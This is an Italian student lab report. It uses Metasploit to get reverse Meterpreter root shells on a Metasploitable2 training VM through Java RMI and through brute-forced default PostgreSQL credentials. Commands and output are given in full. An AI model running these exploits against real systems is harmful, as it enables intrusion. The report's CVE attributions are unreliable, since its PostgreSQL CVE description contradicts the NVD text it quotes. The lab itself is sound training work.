

# **EXPLOIT PROJECT REPORT**

**S7L5  
CS0424IT**

**SIMONE LA PORTA**



# Table Of Contents

**01**

**Introduzione**

**02**

**Configurazione di rete**

**03**

**Exploit #1: Java-RMI (CVE-2011-3556)**

**04**

**Exploit #2: PostgreSQL (CVE-2007-6600)**

# Introduzione



## 1. Exploit Java-RMI

### Traccia:

- Metasploitable2 presenta un servizio vulnerabile sulla porta 1099, Java-RMI.
- Si richiede di sfruttare la vulnerabilità con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota.

### Obiettivi:

- Ottenerne la configurazione di rete della macchina vittima.
- Raccogliere informazioni sulla tabella di routing della macchina vittima.



## Requisiti di rete

### Macchina attaccante (KALI):

- Indirizzo IP: 192.168.75.111

### Macchina target (Metasploitable2):

- Indirizzo IP: 192.168.75.112



## 2. Exploit PostgreSQL

### Traccia:

- Metasploitable2 presenta una vulnerabilità nel servizio PostgreSQL.
- Si richiede di eseguire un exploit per ottenere una sessione Meterpreter sul sistema target.

# Metasploit e Meterpreter

## METASPLOIT framework

- Piattaforma open-source utilizzata per il penetration testing e lo sviluppo di exploit.
- Fornisce una vasta gamma di exploit e strumenti per testare la sicurezza dei sistemi informatici.
- Consente ai tester di sicurezza di scoprire, verificare e sfruttare le vulnerabilità nei sistemi target, aiutando a migliorare le difese contro le minacce.

## METERPRETER payload

- Payload avanzato utilizzato all'interno del Metasploit framework. È una shell interattiva che fornisce un ambiente di esecuzione post-exploit flessibile e dinamico.
- Viene iniettato nella memoria del processo della vittima e consente il controllo remoto del sistema compromesso senza scrivere file sul disco, riducendo la possibilità di rilevamento.
- Offre numerose funzionalità, come il dumping delle credenziali, il controllo della webcam, e la raccolta di informazioni di sistema.

# Configurazione di rete e connettività

```
(kali㉿kali)-[~]
└─$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:d0:fd:e1 brd ff:ff:ff:ff:ff:ff
    inet 10.0.2.15/24 brd 10.0.2.255 scope global dynamic noprefixroute eth0
        valid_lft 69366sec preferred_lft 69366sec
    inet6 fe80::9ff4:8fc7:6fd8:1ccd/64 scope link noprefixroute
        valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:ea:d6:05 brd ff:ff:ff:ff:ff:ff
    inet 192.168.75.111/24 brd 192.168.75.255 scope global noprefixroute eth1
        valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:feea:d605/64 scope link proto kernel ll
        valid_lft forever preferred_lft forever

(kali㉿kali)-[~]
└─$ ping -c 3 192.168.75.112
PING 192.168.75.112 (192.168.75.112) 56(84) bytes of data.
64 bytes from 192.168.75.112: icmp_seq=1 ttl=64 time=0.610 ms
64 bytes from 192.168.75.112: icmp_seq=2 ttl=64 time=0.385 ms
64 bytes from 192.168.75.112: icmp_seq=3 ttl=64 time=0.414 ms
--- 192.168.75.112 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2052ms
rtt min/avg/max/mdev = 0.385/0.469/0.610/0.099 ms

(kali㉿kali)-[~]
└─$ nsfadmin@metasploitable:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        Inet6 ::1/128 scope host
            valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:22:92:c3:e0 brd ff:ff:ff:ff:ff:ff
    inet 192.168.75.112/24 brd 192.168.75.255 scope global eth0
        Inet6 fe80::a00:27ff:fe92:c3e0/64 scope link
            valid_lft forever preferred_lft forever
nsfadmin@metasploitable:~$ ping -c 3 192.168.75.111
PING 192.168.75.111 (192.168.75.111) 56(84) bytes of data.
64 bytes from 192.168.75.111: icmp_seq=1 ttl=64 time=0.426 ms
64 bytes from 192.168.75.111: icmp_seq=2 ttl=64 time=0.471 ms
64 bytes from 192.168.75.111: icmp_seq=3 ttl=64 time=0.457 ms
--- 192.168.75.111 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1990ms
rtt min/avg/max/mdev = 0.426/0.451/0.471/0.025 ms
nsfadmin@metasploitable:~$
```

# Exploit #1: Java-RMI (CVE-2011-3556)



## Dettagli tecnici

CVE ID: CVE-2011-3556

- Descrizione CVE: “Una vulnerabilità non specificata nel componente Java Runtime Environment in Oracle Java consente agli aggressori remoti di compromettere la riservatezza, l’integrità e la disponibilità del sistema relativo a RMI.”
- Data di pubblicazione: 19 ottobre 2011
- Impatti potenziali:
  - Compromissione completa del sistema.
  - Possibilità di eseguire comandi arbitrari con i permessi dell’utente che esegue il processo Java.
  - Accesso non autorizzato ai dati sensibili.
- Codici CVE correlati
  - CVE-2010-3867: altra vulnerabilità correlata a RMI presente in versioni precedenti di Java.

# Exploit #1: Java-RMI (CVE-2011-3556)



## Metodi di mitigazione

- **Aggiornamento:** installare gli aggiornamenti forniti da Oracle per risolvere questa vulnerabilità.
- **Configurazione sicura:** disabilitare il servizio RMI se non necessario o limitarne l'accesso attraverso firewall e configurazioni di rete sicure.
- **Monitoraggio:** implementare sistemi di monitoraggio per rilevare tentativi di accesso non autorizzati al servizio RMI.

NIST

Information Technology Laboratory

NATIONAL VULNERABILITY DATABASE

NIST NATIONAL VULNERABILITY DATABASE NVD

VULNERABILITIES

NOTICE UPDATED - MAY, 29TH 2024

The NVD has a [new announcement page](#) with status updates, news, and how to stay connected!

**CVE-2011-3556 Detail**

MODIFIED

This vulnerability has been modified since it was last analyzed by the NVD. It is awaiting reanalysis which may result in further changes to the information provided.

**Current Description**

Unspecified vulnerability in the Java Runtime Environment component in Oracle Java SE JDK and JRE 7, 6 Update 27 and earlier, 5.0 Update 31 and earlier, 1.4.2\_33 and earlier, and JRockit R28.1.4 and earlier allows remote attackers to affect confidentiality, integrity, and availability, related to RMI, a different vulnerability than CVE-2011-3557.

QUICK INFO

CVE Dictionary Entry: [CVE-2011-3556](#)

NVD Published Date: 10/19/2011

NVD Last Modified: 01/05/2018

Source: Oracle

# Exploit #1: Java-RMI (CVE-2011-3556)

## Identificazione del servizio

```
(kali㉿kali)-[~]
$ nmap -p 1099 -A 192.168.75.112
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-12 13:26 CEST
Nmap scan report for 192.168.75.112
Host is up (0.00061s latency).

PORT      STATE SERVICE VERSION
1099/tcp   open  java-rmi  GNU Classpath grmiregistry

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.83 seconds
```

Scansione con Nmap per verificare la presenza del servizio in esecuzione sulla porta 1099 in ascolto.

# Exploit #1: Java-RMI (CVE-2011-3556)

# Avvio Metasploit e ricerca exploit

- Avvio di Metasploit tramite il comando "msfconsole".
- Ricerca di un possibile exploit tramite il comando "search java\_rmi".
- Scelto exploit "java\_rmi\_server".

```
msf6 > use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

Name      Current Setting  Required  Description
--  -----
HTTPDELAY    10            yes        Time that the HTTP Server will wait for the payload request
RHOSTS          -            yes        The target host(s), see https://docs.metasploit.com/docs/using-me
RPORT        1099           yes        The target port (TCP)
SRVHOST       0.0.0.0        yes        The local host or network interface to listen on. This must be an
SRVPORT       8080           yes        The local port to listen on.
SSL             false          no         Negotiate SSL for incoming connections
SSLCert        -            no         Path to a custom SSL certificate (default is randomly generated)
URI PATH      -            no         The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
--  -----
LHOST      10.0.2.15        yes        The listen address (an interface may be specified)
LPORT      4444             yes        The listen port

Exploit target:

Id  Name
--  --
0  Generic (Java Payload)
```

- Payload Meterpreter già selezionato di default.
  - Necessario solamente impostare RHOSTS/LHOST con gli indirizzi IP di macchina target/attaccante.

# Exploit #1: Java-RMI (CVE-2011-3556)

## Set-up ed exploit

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.75.112
RHOSTS => 192.168.75.112
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

Name      Current Setting  Required  Description
---      ---             ---        ---
HTTPDELAY  10              yes       Time that the HTTP Server will wait for the payload request
RHOSTS    192.168.75.112   yes       The target host(s), see https://docs.metasploit.com/docs/usin
RPORT     1099             yes       The target port (TCP)
SRVHOST   0.0.0.0          yes       The local host or network interface to listen on. This must b
SRVPORT   8080             yes       The local port to listen on.
SSL       false            no        Negotiate SSL for incoming connections
SSLCert   no               no        Path to a custom SSL certificate (default is randomly genera
URIPath   no               no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
---      ---             ---        ---
LHOST    10.0.2.15         yes       The listen address (an interface may be specified)
LPORT    4444             yes       The listen port

Exploit target:

Id  Name
--  --
0  Generic (Java Payload)

View the full module info with the info, or info -d command.
```

```
msf6 exploit(multi/misc/java_rmi_server) > set LHOST 192.168.75.111
LHOST => 192.168.75.111
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.75.111:4444
[*] 192.168.75.112:1099 - Using URL: http://192.168.75.111:8080/w93mGu80W7G
[*] 192.168.75.112:1099 - Server started.
[*] 192.168.75.112:1099 - Sending RMI Header ...
[*] 192.168.75.112:1099 - Sending RMI Call ...
[*] 192.168.75.112:1099 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.75.112
[*] Meterpreter session 1 opened (192.168.75.111:4444 → 192.168.75.112:39782) at 2024-07-12 13:31:14 +0200

meterpreter > sysinfo
Computer      : metasploitable
OS           : Linux 2.6.24-16-server (i386)
Architecture  : x86
System Language: en_US
Meterpreter   : java/linux

meterpreter >
meterpreter > ipconfig

Interface 1
-----
Name       : lo - lo
Hardware MAC: 00:00:00:00:00:00
IPv4 Address: 127.0.0.1
IPv4 Netmask: 255.0.0.0
IPv6 Address: ::1
IPv6 Netmask: ::

Interface 2
-----
Name       : eth0 - eth0
Hardware MAC: 00:00:00:00:00:00
IPv4 Address: 192.168.75.112
IPv4 Netmask: 255.255.255.0
IPv6 Address: fe80::a00:27ff:fe92:c3e0
IPv6 Netmask: ::

• Exploit e injection del payload.
• Avvio sessione Meterpreter.
• Check macchina target e impostazioni di rete tramite i comandi "sysinfo", "ipconfig".
```

# Exploit #1: Java-RMI (CVE-2011-3556)

## Set-up ed exploit

```
meterpreter > shell  
Process 1 created.  
Channel 1 created.  
  
ls  
bin  
boot  
cdrom  
dev  
etc  
home  
initrd  
initrd.img  
lib  
lost+found  
media  
mnt  
nohup.out  
opt  
proc  
root  
sbin  
srv  
sys  
tmp  
usr  
var  
vmlinuz  
  
whoami  
root  
  
pwd  
/
```

- Ottenimento tabella di routing della macchina target tramite il comando "route".
- Completo controllo sulla macchina remota tramite shell.

```
meterpreter > route
```

```
IPv4 network routes
```

Subnet	Netmask	Gateway	Metric	Interface
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.75.112	255.255.255.0	0.0.0.0		

```
IPv6 network routes
```

Subnet	Netmask	Gateway	Metric	Interface
:: 1	::	::		
fe80 :: a00:27ff:fe92:c3e0	::	::		

# Exploit #2: PostgreSQL (CVE-2007-6600)

## Dettagli tecnici

CVE ID: CVE-2007-6600

- Descrizione CVE: “Una vulnerabilità nella gestione dei file di PostgreSQL consente agli aggressori di eseguire codice arbitrario sul sistema host sfruttando i permessi impropri del servizio PostgreSQL. Questa vulnerabilità può essere sfruttata caricando un file condiviso malevolo sul server PostgreSQL e successivamente eseguendolo con i privilegi del processo PostgreSQL.”
- Data di pubblicazione: 9 gennaio 2008
- Impatti potenziali:
  - Compromissione completa del sistema.
  - Possibilità di eseguire comandi arbitrari con i permessi del servizio PostgreSQL.
  - Accesso non autorizzato ai dati sensibili.
- Codici CVE correlati
  - CVE-2006-2313: vulnerabilità di gestione dei file in PostgreSQL che potrebbe permettere l'esecuzione di codice arbitrario tramite file UDF (User Defined Functions) malevoli.
  - CVE-2009-3720: vulnerabilità nei permessi di directory temporanee in PostgreSQL che permette l'esecuzione di codice arbitrario.

# Exploit #2: PostgreSQL (CVE-2007-6600)



## Metodi di mitigazione

- Aggiornare il servizio PostgreSQL.
- Configurazione sicura:
  - Eseguire PostgreSQL come utente non privilegiato.
  - Impostare permessi stretti sui file di configurazione di PostgreSQL.
- Disabilitare funzionalità non necessarie.
- Imporre l'uso di password forti.
- Isolare il servizio PostgreSQL tramite tecniche come containerizzazione o macchine virtuali.
- Monitoraggio: implementare sistemi di monitoraggio per rilevare tentativi di accesso non autorizzati al servizio RMI.

The screenshot shows the NIST National Vulnerability Database (NVD) interface. At the top, there's a header with the NIST logo, the Information Technology Laboratory, and the National Vulnerability Database. A green button labeled 'VULNERABILITIES' is visible. Below the header, a yellow banner says 'NOTICE UPDATED - MAY, 29TH 2024' and 'The NVD has a [new announcement page](#) with status updates, news, and how to stay connected!'. The main content area is titled 'CVE-2007-6600 Detail'. Under 'MODIFIED', it states: 'This vulnerability has been modified since it was last analyzed by the NVD. It is awaiting reanalysis which may result in further changes to the information provided.' In the 'Description' section, it explains: 'PostgreSQL 8.2 before 8.2.6, 8.1 before 8.1.11, 8.0 before 8.0.15, 7.4 before 7.4.19, and 7.3 before 7.3.21 uses superuser privileges instead of table owner privileges for (1) VACUUM and (2) ANALYZE operations within index functions, and supports (3) SET ROLE and (4) SET SESSION AUTHORIZATION within index functions, which allows remote authenticated users to gain privileges.' On the right side, there's a 'QUICK INFO' sidebar with links to the CVE Dictionary Entry (CVE-2007-6600), NVD Published Date (01/09/2008), NVD Last Modified (10/15/2018), and Source (MITRE).

# Exploit #2: PostgreSQL (CVE-2007-6600)

## Identificazione del servizio

- Scansione con Nmap per identificare il servizio.
- Rilevato servizio PostgreSQL in esecuzione sulla porta 5432.

```
(kali㉿kali)-[~]
└─$ nmap -p 5432 -A 192.168.75.112
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-12 15:37 CEST
Nmap scan report for 192.168.75.112
Host is up (0.0013s latency).

PORT      STATE SERVICE      VERSION
5432/tcp  open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Not valid before: 2010-03-17T14:07:45
|_Not valid after:  2010-04-16T14:07:45
|_ssl-date: 2024-07-12T13:37:43+00:00; +1s from scanner time.

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.00 seconds
```

# Exploit #2: PostgreSQL (CVE-2007-6600)

## Avvio Metasploit e ricerca exploit

```
msf6 > search postgresql
Matching Modules
=====
#  Name
#  ----
#  auxiliary/server/capture/postgresql
#  post/linux/gather/enum_users_history
#  exploit/multi/http/manage_engine_mp_mp_se1
#    \_ target: Automatic
#    \_ target: Desktop Central v8 > b68200 / v9 < b90039 (PostgreSQL) on Windows
#    \_ targets: Desktop Central MSP v8 > b68200 / v9 < b90039 (PostgreSQL) on Windows
#    \_ targets: Desktop Central [MSP] v7 > b78200 / v8 / v9 < b90039 (MySQL) on Windows
#    \_ targets: Password Manager Pro [MSP] v6 > b6500 / v7 < b7000 (PostgreSQL) on Windows
#    \_ targets: Password Manager Pro v6 > b6500 / v7 < b7000 (MySQL) on Windows
#    \_ targets: Password Manager Pro [MSP] v6 > b6500 / v7 < b7000 (PostgreSQL) on Linux
#    \_ targets: Password Manager Pro v6 > b6500 / v7 < b7000 (MySQL) on Linux
#  auxiliary/admin/http/manageengine_pmp_privesc
#  exploit/multi/postgres/postgres_copy_from_program_cmd_exec
#    \_ target: Automatic
#    \_ target: Unix/OSX/Linux
#    \_ target: Windows - PowerShell (In-Memory)
#    \_ target: Windows (CMD)
#  exploit/multi/postgres/postgres_createlang
#  auxiliary/scanner/postgres/postgres_dbname_flag_injection
#  auxiliary/scanner/postgres/postgres_login
#  auxiliary/admin/postgres/postgres_readfile
#  auxiliary/admin/postgres/postgres_sql
#  auxiliary/scanner/postgres/postgres_version
#  exploit/linux/postgres/postgres_payload
#    \_ target: Linux x86
#    \_ target: Linux x86_64
#  exploit/windows/postgres/postgres_payload
#    \_ target: Windows x86
#    \_ target: Windows x64
#  auxiliary/admin/http/rails_device_pass_reset
#  exploit/multi/http/rudder_server_sql_rce
#  post/linux/gather/vcenter_secrets_dump

#  Disclosure Date  Rank  Check  Description
#  -----          ---  ---   -----
#  2014-06-06      normal No    Authentication Capture: PostgreSQL
#  2014-06-06      normal No    Linux Gather User History
#  2014-06-06      excellent Yes   ManageEngine Desktop Central / Password Manager Li...
#  2014-11-06      normal Yes   ManageEngine Password Manager SQLAdvancedSQLSearchResult.cc Pro...
#  2019-03-20      excellent Yes   PostgreSQL COPY FROM PROGRAM Command Execution
#  2016-01-01      good  Yes   PostgreSQL CREATE LANGUAGE Execution
#  2016-01-01      normal No    PostgreSQL Database Name Command Line Flag Injection
#  2016-01-01      normal No    PostgreSQL Login Utility
#  2016-01-01      normal No    PostgreSQL Server Generic Query
#  2016-01-01      normal No    PostgreSQL Server Generic Query
#  2016-01-01      normal No    PostgreSQL Version Probe
#  2007-06-05      excellent Yes   PostgreSQL for Linux Payload Execution
#  2009-04-10      excellent Yes   PostgreSQL for Microsoft Windows Payload Execution
#  2013-01-28      normal No    Ruby on Rails Device Authentication Password Reset
#  2023-06-16      excellent Yes   Rudder Server SQLI Remote Code Execution
#  2022-04-19      normal No    VMware vCenter Secrets Dump

Interact with a module by name or index. For example info 31, use 31 or use post/linux/gather/vcenter_secrets_dump
```

- Avvio di Metasploit tramite il comando "msfconsole".
- Ricerca di un possibile exploit tramite il comando "search postgresql".
- Scelto exploit "postgres\_login" per effettuare il brute-force delle credenziali di login a PostgreSQL.

# Exploit #2: PostgreSQL (CVE-2007-6600)

## Set-up variabili brute-force login

```
msf6 > use auxiliary/scanner/postgres/postgres_login
[*] New in Metasploit 6.4 - The CreateSession option within this module can open an interactive session
msf6 auxiliary(scanner/postgres/postgres_login) > show options

Module options (auxiliary/scanner/postgres/postgres_login):

Name          Current Setting  Required
----          --------------  -----
ANONYMOUS_LOGIN    false        yes
BLANK_PASSWORDS   false        no
BRUTEFORCE_SPEED  5           yes
CreateSession      false        no
DATABASE          template1   yes
DB_ALL_CREDS      false        no
DB_ALL_PASS       false        no
DB_ALL_USERS      false        no
DB_SKIP_EXISTING  none        no
PASSWORD          /usr/share/metasploit-framework/data/wordlists/postgres_default_pass.txt
PASS_FILE         /usr/share/metasploit-framework/data/wordlists/postgres_default_pass.txt
Profiles          Metasploit  no
RETURN_RCSET      true        no
RHOSTS           192.168.75.112  yes
PORT             5432        yes
STOP_ON_SUCCESS  false        yes
THREADS          1           yes
USERNAME          root        yes
USERPASS_FILE    /usr/share/metasploit-framework/data/wordlists/postgres_default_pass.txt  yes
USER_AS_PASS     false        yes
USER_FILE         /usr/share/metasploit-framework/data/wordlists/postgres_default_pass.txt  yes
VERBOSE          true        yes
```

- **Nome del modulo:**
  - auxiliary/scanner/postgres/postgres\_login
- **Opzioni configurate:**
  - ANONYMOUS\_LOGIN: true
  - BLANK\_PASSWORDS: true
  - DATABASE: template1 (uno dei DB predefiniti)
  - RHOSTS: 192.168.75.112
  - STOP\_ON\_SUCCESS: true
  - USERNAME: root

```
msf6 auxiliary(scanner/postgres/postgres_login) > set ANONYMOUS_LOGIN true
ANONYMOUS_LOGIN => true
msf6 auxiliary(scanner/postgres/postgres_login) > set BLANK_PASSWORDS true
BLANK_PASSWORDS => true
msf6 auxiliary(scanner/postgres/postgres_login) > set DATABASE template1
DATABASE => template1
msf6 auxiliary(scanner/postgres/postgres_login) > set RHOSTS 192.168.75.112
RHOSTS => 192.168.75.112
msf6 auxiliary(scanner/postgres/postgres_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf6 auxiliary(scanner/postgres/postgres_login) > set USERNAME root
USERNAME => root
```

# Exploit #2: PostgreSQL (CVE-2007-6600)

## Brute-force credenziali di login

```
msf6 auxiliary(scanner/postgres/postgres_login) > run

[!] No active DB -- Credential data will not be saved!
[-] 192.168.75.112:5432 - LOGIN FAILED: root:@template1 (Incorrect: Invalid username or password)
[-] 192.168.75.112:5432 - LOGIN FAILED: root:@template1 (Incorrect: Invalid username or password)
[-] 192.168.75.112:5432 - LOGIN FAILED: root:tiger@template1 (Incorrect: Invalid username or password)
[-] 192.168.75.112:5432 - LOGIN FAILED: root:postgres@template1 (Incorrect: Invalid username or password)
[-] 192.168.75.112:5432 - LOGIN FAILED: root:password@template1 (Incorrect: Invalid username or password)
[-] 192.168.75.112:5432 - LOGIN FAILED: root:admin@template1 (Incorrect: Invalid username or password)
[-] 192.168.75.112:5432 - LOGIN FAILED: :@template1 (Incorrect: Invalid username or password)
[-] 192.168.75.112:5432 - LOGIN FAILED: :@template1 (Incorrect: Invalid username or password)
[-] 192.168.75.112:5432 - LOGIN FAILED: :tiger@template1 (Incorrect: Invalid username or password)
[-] 192.168.75.112:5432 - LOGIN FAILED: :postgres@template1 (Incorrect: Invalid username or password)
[-] 192.168.75.112:5432 - LOGIN FAILED: :password@template1 (Incorrect: Invalid username or password)
[-] 192.168.75.112:5432 - LOGIN FAILED: :admin@template1 (Incorrect: Invalid username or password)
[-] 192.168.75.112:5432 - LOGIN FAILED: postgres:@template1 (Incorrect: Invalid username or password)
[-] 192.168.75.112:5432 - LOGIN FAILED: postgres:@template1 (Incorrect: Invalid username or password)
[-] 192.168.75.112:5432 - LOGIN FAILED: postgres:tiger@template1 (Incorrect: Invalid username or password)
[+] 192.168.75.112:5432 - Login Successful: postgres:postgres@template1
[*] Scanned 1 of 1 hosts (100% complete)
[*] Bruteforce completed, 1 credential was successful.
[*] You can open a Postgres session with these credentials and CreateSession
[*] Auxiliary module execution completed
```

- Identificate credenziali di login al DB template1.
- In caso di insuccesso con un DB necessario tentare gli altri.

# Exploit #2: PostgreSQL (CVE-2007-6600)

## Exploit e iniezione payload Meterpreter

```
msf6 > use exploit/linux/postgres/postgres_payload
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf6 exploit(linux/postgres/postgres_payload) > show options

Module options (exploit/linux/postgres/postgres_payload):

Name      Current Setting  Required  Description
VERBOSE    false           no        Enable verbose output

Used when connecting via an existing SESSION:

Name      Current Setting  Required  Description
SESSION   no              The session to run this module on

Used when making a new connection via RHOSTS:

Name      Current Setting  Required  Description
DATABASE  postgres         no        The database to authenticate against
PASSWORD  postgres         no        The password for the specified username. Leave blank for a random password.
RHOSTS    192.168.75.112  no        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     5432             no        The target port
USERNAME  postgres         no        The username to authenticate as

Payload options (linux/x86/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
LHOST    192.168.75.111  yes       The listen address (an interface may be specified)
LPORT    4444             yes       The listen port

Exploit target:

Id  Name
--  --
0   Linux x86

View the full module info with the info, or info -d command.

msf6 exploit(linux/postgres/postgres_payload) > set DATABASE template1
DATABASE => template1
msf6 exploit(linux/postgres/postgres_payload) > set RHOSTS 192.168.75.112
RHOSTS => 192.168.75.112
msf6 exploit(linux/postgres/postgres_payload) > set LHOST 192.168.75.111
LHOST => 192.168.75.111
```

- **Nome del modulo:**
  - exploit/linux/postgres/postgres\_payload
- **Opzioni configurate:**
  - DATABASE: template1
  - RHOSTS: 192.168.75.112
  - LHOST: 192.168.75.111

# Exploit #2: PostgreSQL (CVE-2007-6600)

## Exploit e iniezione payload Meterpreter

```
msf6 exploit(linux/postgres/postgres_payload) > exploit

[*] Started reverse TCP handler on 192.168.75.111:4444
[*] 192.168.75.112:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Uploaded as /tmp/yQrxxVda.so, should be cleaned up automatically
[*] Sending stage (1017704 bytes) to 192.168.75.112
[*] Meterpreter session 1 opened (192.168.75.111:4444 → 192.168.75.112:34520) at 2024-07-12 16:05:16 +0200

meterpreter > sysinfo
Computer      : metasploitable.localdomain
OS            : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture   : i686
BuildTuple     : i486-linux-musl
Meterpreter    : x86/linux
meterpreter >
meterpreter > shell
Process 5272 created.
Channel 1 created.

psql -d template1 -U postgres -W
Password for user postgres: postgres

\l
  List of databases
  Name | Owner | Encoding
-----+-----+-----
postgres | postgres | UTF8
template0 | postgres | UTF8
template1 | postgres | UTF8
(3 rows)

\du
          List of roles
  Role name | Superuser | Create role | Create DB | Connections | Member of
-----+-----+-----+-----+-----+-----+
postgres | yes     | yes       | yes     | no limit | {}
```

- Ottenuta sessione Meterpreter sulla macchina target.
- Tramite le credenziali precedentemente scoperte è stato possibile accedere al servizio PostgreSQL con privilegi di amministratore.

# Conclusioni

## **Exploit della vulnerabilità Java-RMI**

- La vulnerabilità Java-RMI sulla porta 1099 è stata sfruttata utilizzando Metasploit per ottenere una sessione Meterpreter sulla macchina Metasploitable2.
- È stato utilizzato l'exploit specifico per CVE-2011-3556, che permette l'esecuzione di comandi arbitrari sulla macchina vittima.
- Una volta ottenuta la sessione Meterpreter, sono state raccolte le informazioni di configurazione di rete della macchina vittima.
- Sono state estratte le informazioni della tabella di routing della macchina vittima.

## **Exploit della vulnerabilità PostgreSQL**

- Utilizzando un attacco di forza bruta su PostgreSQL, si è riusciti a identificare correttamente le credenziali di accesso sfruttando configurazioni predefinite.
- Il modulo postgres\_payload è stato usato per ottenere una shell Meterpreter sulla macchina target.
- Questo exploit carica una libreria condivisa su PostgreSQL, permettendo l'esecuzione di comandi arbitrari.



# THANK YOU!

